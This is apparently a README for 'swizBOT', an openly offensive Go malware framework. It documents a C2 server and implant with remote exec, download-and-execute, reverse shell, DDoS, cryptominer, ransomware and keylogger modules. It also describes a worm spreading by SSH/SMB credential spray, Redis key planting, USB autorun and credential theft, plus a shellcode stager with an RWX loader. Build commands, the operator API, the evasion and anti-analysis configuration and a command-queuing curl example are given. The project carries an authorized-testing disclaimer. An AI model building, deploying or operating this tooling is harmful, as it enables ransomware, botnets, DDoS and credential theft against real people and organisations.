Files
2026-09-12 01:27:17 +00:00

286 lines
12 KiB
Markdown

# swizBOT
Modular Go implant framework with a CALL/POP stager (Jake Swiz decoder
technique), a polling HTTPS C2, an operator dashboard, plugin actions,
and a lateral-movement worm module.
by ek0ms savi0r, Church of Malware. Decoder technique after Jake Swiz
(0xXyc) / Fukahi Teki0 research.
For authorized security testing and education only.
## Layout
| Path | What it is |
|------|------------|
| cmd/c2 | C2 server: implant API, operator API, WebSocket, embedded dashboard |
| cmd/bot | Implant: beacon loop, failover, plugins dispatch, worm module |
| internal/plugins | Action modules (ddos, miner, file encryption, reverse shell, keylogger) |
| stager | XOR/LFSR CALL/POP stager encoder (x86/x64) + decoder listings |
| web | dashboard sources (embedded into the c2 binary at build time) |
## Quick start (lab)
```bash
# build the C2 and the Linux implant
make c2 bot-linux
# self-signed cert for the TLS implant listener
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt \
-days 365 -nodes -subj '/CN=localhost'
# run the C2: operator UI on :8080, implant listener (TLS) on :8443
# -token protects every operator endpoint; -bot-secret is required from implants
./bin/swizbot-c2 -token 'change-me' -bot-secret 'shared-secret'
# register an implant against it (env-driven, no rebuilds)
SWIZ_C2_URLS=https://127.0.0.1:8443 \
SWIZ_BOT_SECRET=shared-secret \
SWIZ_BOT_ID=lab-1 \
./bin/swizbot-bot-linux
# queue a command (operator API)
curl -s -H 'X-C2-Token: change-me' \
'http://127.0.0.1:8080/command?bot_id=lab-1&cmd=exec&payload=id'
# watch the result stream in the dashboard at http://127.0.0.1:8080
```
For Windows targets build the GUI implant:
```bash
make bot-windows # bin/swizbot-bot.exe (amd64, windowsgui)
```
## Dashboard
The C2 serves a single-file dashboard (terminal theme, no external
assets) on the operator listener:
- bot list with OS/arch/IP/last-seen and live online state
- per-type command builder (exec, download, ddos, shell, miner,
ransomware, keylog, worm, kill) with broadcast mode
- WebSocket event stream for registrations and command results, with
polling fallback
- token login screen when the C2 runs with -token
## Commands
| type | payload | behavior |
|------|---------|----------|
| exec | shell command | runs via cmd.exe /C or /bin/sh -c |
| download | http(s) URL | downloads to a temp file, chmod +x, executes |
| fetch | file path | pulls a file back from the implant (base64 result, 4 MB cap) |
| screenshot | - | captures the primary display (Windows build) and returns the PNG |
| ddos | `host:port method seconds` | udp/tcp/http flood for the given window |
| shell | `host port` | reverse shell loop (line protocol, auto reconnect) |
| miner | `pool wallet [threads] [path|url]` | runs an xmrig-compatible binary |
| ransomware | operator RSA public key (PEM) | AES-256-GCM per-file, RSA-OAEP key wrap |
| keylog | optional log path | GetAsyncKeyState logger (Windows build) |
| worm | optional `subnets CSV` | lateral movement module (see below) |
| kill | - | removes persistence and exits |
Every command reports a result: `success` only when the action was
actually started/completed, `failed` with the reason otherwise. Unknown
command types are rejected, not silently ignored.
## Implant configuration (environment)
| variable | default | purpose |
|----------|---------|---------|
| SWIZ_C2_URLS | https://127.0.0.1:8443 | comma-separated operator endpoints, tried in random order |
| SWIZ_BOT_ID | hostname_pid | implant identifier reported to the C2 |
| SWIZ_BOT_SECRET | - | sent as X-Bot-Secret; required if the C2 runs -bot-secret |
| SWIZ_BOT_KEY | - | implant X25519 private key (hex); enables the sealed channel |
| SWIZ_C2_PUBKEY | - | operator X25519 public key (hex); encrypts results to the C2 |
| SWIZ_XOR | 0xaa | result body obfuscation byte, must match the C2 -xor |
| SWIZ_INTERVAL | 30s | beacon interval |
| SWIZ_JITTER | 30s | random sleep added to the interval |
| SWIZ_BACKOFF_MAX | 1h | max exponential backoff when every endpoint is down |
| SWIZ_DNS_DOMAIN | - | TXT record domain checked for additional endpoints |
| SWIZ_P2P | 0 | LAN peer discovery (UDP broadcast, see docs) |
| SWIZ_PEER_PORT | 31337 | peer discovery port |
| SWIZ_TELEGRAM_TOKEN | - | dead-drop fallback (bot API token) |
| SWIZ_TELEGRAM_CHAT_ID | - | optional chat filter for the dead drop |
| SWIZ_LOG | - | log file (stderr when unset) |
| SWIZ_UNLOCK | - | passphrase that unlocks a `-seal`ed baked config (see docs/BAKED-CONFIG.md) |
| SWIZ_WORM_SUBNETS | - | worm target subnets CSV override |
| SWIZ_WORM_DOWNLOAD_URL | - | hosted implant binary for cross-OS deployment |
| SWIZ_WORM_RESCAN | 10m | worm rescan interval |
Results are cached locally when every endpoint is unreachable and
flushed on the next successful contact. The XOR byte is obfuscation,
not encryption: transport security comes from the TLS listener.
## Baked config (compile-time)
`cmd/build` compiles config into the implant so a deployment is a single
artifact. All values are packed into one opaque token (`internal/bakepack`),
never injected as plaintext `-ldflags -X` symbols:
```bash
# obfuscated (default): no readable secrets in the binary
make payload C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
# sealed: AES-256-GCM under a passphrase -> zero-leak artifact
make payload SEAL='correct horse battery staple' \
C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
# ...then run with SWIZ_UNLOCK='correct horse battery staple'
```
Precedence is **env > baked > default**. The obfuscated mode defeats
`strings`/static triage; the sealed mode is real encryption and leaves the
binary inert without `SWIZ_UNLOCK`. Baking secrets without `-seal` prints a
warning. Full rationale, threat model and limits: docs/BAKED-CONFIG.md.
## C2 configuration (flags)
| flag | default | purpose |
|------|---------|---------|
| -ui | :8080 | operator UI/API listener |
| -listen | :8443 | implant listener (TLS) |
| -cert / -key | server.crt / server.key | TLS keypair |
| -insecure | false | plain HTTP implant listener (lab) |
| -tunnel | none | outbound tunnel: cloudflared quick tunnel in front of -ui |
| -token | - | operator token (X-C2-Token header or login cookie) |
| -bot-secret | - | secret implants must present |
| -bot-key | - | operator X25519 private key; enables the sealed bot channel |
| -bot-key-gen | - | print a fresh operator keypair and exit |
| -xor | 0xaa | result obfuscation byte |
| -prune-hours | 24 | drop bots unseen for N hours (0 disables) |
Fleet pause/resume (reversible kill switch): queue `cmd=pause` with
`bot_id=*` to stop all command delivery; implants slow-poll so
`cmd=resume` reaches them. Paused state is server-side, so a resume
always re-enables the fleet.
Failover layers: the implant carries the same sealed frames over an
ordered channel stack (HTTPS -> DNS -> Telegram dead-drop), failing
over automatically when a layer stops answering. Layer order,
health/probation semantics and per-layer setup: docs/TRANSPORTS.md.
Bot endpoints are `/checkin` and `/result`; operator endpoints are
`/command`, `/list`, `/api/bots`, `/api/command`, `/ws`, `/login`, and
the dashboard at `/`.
## Sealed bot channel
When the C2 runs with `-bot-key` and implants carry `SWIZ_BOT_KEY` (their
own X25519 keypair) plus `SWIZ_C2_PUBKEY` (the operator public key), the
payload layer upgrades from single-byte XOR to per-frame AEAD:
- every checkin response (command) is sealed to the implant's registered
public key; the implant opens it with its own private key;
- every result is sealed with a fresh ephemeral X25519 key against the
operator public key (forward secrecy); the C2 opens it with `-bot-key`;
- tampered or wrong-key frames are rejected (GCM auth).
Generate the operator keypair once: `swizbot-c2 -bot-key-gen`. Distribute
`SWIZ_BOT_KEY` per implant (or fleet) and `SWIZ_C2_PUBKEY` from the
generator output. Without keys the channel falls back to TLS + XOR
obfuscation for lab use.
Command delivery is at-least-once: an undelivered command is redelivered
after 2 minutes up to 3 times and then dropped if never acknowledged.
## Bot protocol
- checkin: `GET /checkin?bot_id=..&os=..&arch=..` with
`X-Bot-Secret`; returns `{"id","type","payload","target"}`; an empty
`id` means nothing is queued.
- result: `POST /result`, body is the JSON result XOR-masked with the
configured byte: `{"bot_id","command_id","output","status"}`.
- command (operator): `GET /command?...` or `POST /command` with a
JSON body `{"bot_id","type","payload","target"}`; `bot_id=*`
broadcasts to every known implant.
## Worm module
Activated only by the `worm` command (never at boot). It scans the
target subnets and dispatches open ports to real deploy modules:
| vector | port | notes |
|--------|------|-------|
| ssh | 22 | Go-native credential spray + stolen-key auth; stages the implant via sftp-less pipe and launches it detached |
| smb | 445 | net.exe credential spray, ADMIN$ copy, remote scheduled task (Windows build) |
| redis | 6379 | RESP config rewrite that plants an authorized SSH key (only with harvested key material; no fake keys) |
| web | 80/443/8080/8443 | sensitive-path recon; reports findings, never claims infections |
| usb | - | removable drive copy + autorun.inf + .lnk (Windows build) |
| shares | - | writable network share and public Startup copy (Windows build) |
| harvest | - | local config/log credential extraction and .ssh private-key theft feeding the spray lists |
Subnets: `worm` payload CSV, SWIZ_WORM_SUBNETS, or the local /24.
Cross-OS deployment uses SWIZ_WORM_DOWNLOAD_URL when set, otherwise the
implant copies itself (same-OS spreads). Success is counted only on a
verified outcome per vector. The module is exercised by unit and
integration tests (Redis vector runs against a live fake RESP server in
the test suite); the full spread loop is not executed on this host.
## Stager
The stager prepends a position-independent CALL/POP decoder to an
XOR- or LFSR-encoded raw payload:
```bash
# XOR loop decoder (x86)
python3 stager/encoder.py payload.bin out/stager.bin
# polymorphic LFSR stream, 64-bit decoder + C loader
python3 stager/encoder.py payload.bin out/stager.bin --lfsr --arch x64 --loader
# unrolled decoder, no loop instruction (payload up to 255 bytes)
python3 stager/encoder.py payload.bin out/stager.bin --noloop
# full verification: emulated decode round-trips + nasm byte parity
python3 stager/encoder.py --selftest
```
- modes: `xor` (fixed key), `lfsr` (32-bit LFSR, key changes per byte),
`noloop` (unrolled). xor/noloop payloads up to 255 bytes for noloop;
loop modes up to 65535 bytes.
- architectures: x86 and x64 (positions documented in
stager/decoder_x86.asm and decoder_x64.asm, verified byte-for-byte
against the emitted stubs by --selftest when nasm is available).
- `--loader` writes a loader.c (VirtualAlloc RWX + memcpy + call);
compile with i686- or x86_64-w64-mingw32-gcc, add -mwindows for a GUI
binary.
The technique (CALL/POP, in-memory decode, execute) follows Jake Swiz's
published decoder research; execution verification here is done in the
instruction emulator rather than on Windows hardware.
## Testing
```bash
make test # go test ./... (server, implant, plugins, bakepack)
make vet
make leakscan # prove baked config is not string-recoverable
make stager-selftest # encoder round-trips + listing parity
```
The test suite covers the full operator lifecycle (register, queue,
deliver, result, ack, redelivery, drop), auth gates, the implant
checkin/exec/result round trip against a live HTTP server, plugin
behavior (ransomware AES/RSA round trip on real files, DDoS validation,
miner resolution), the Redis worm vector against a live fake RESP
server, subnet enumeration, the transport manager (per-layer health,
probation/backoff, auto-recovery) and 20 stager decode round-trips.
docs/VERIFICATION.md records the honest surface: what is live-verified
(Linux E2E, b1/b2 baked config, DNS fallback, Windows
registration/exec/screenshot/persistence under Wine) versus
compiled/unit-only (Telegram, P2P, SMB/USB/share, schtasks, stager on
real hardware) versus deliberately not executed (the worm spread loop).
## Credits
- Jake Swiz (0xXyc) - CALL/POP XOR decoder and loader technique,
PEB walking and ASLR research that this stager builds on.
- ek0ms savi0r - Go framework, C2, dashboard, plugins, worm module.
## Disclaimer
For educational purposes and authorized security testing only. The
operator is responsible for compliance with applicable law and for
obtaining authorization before testing any system.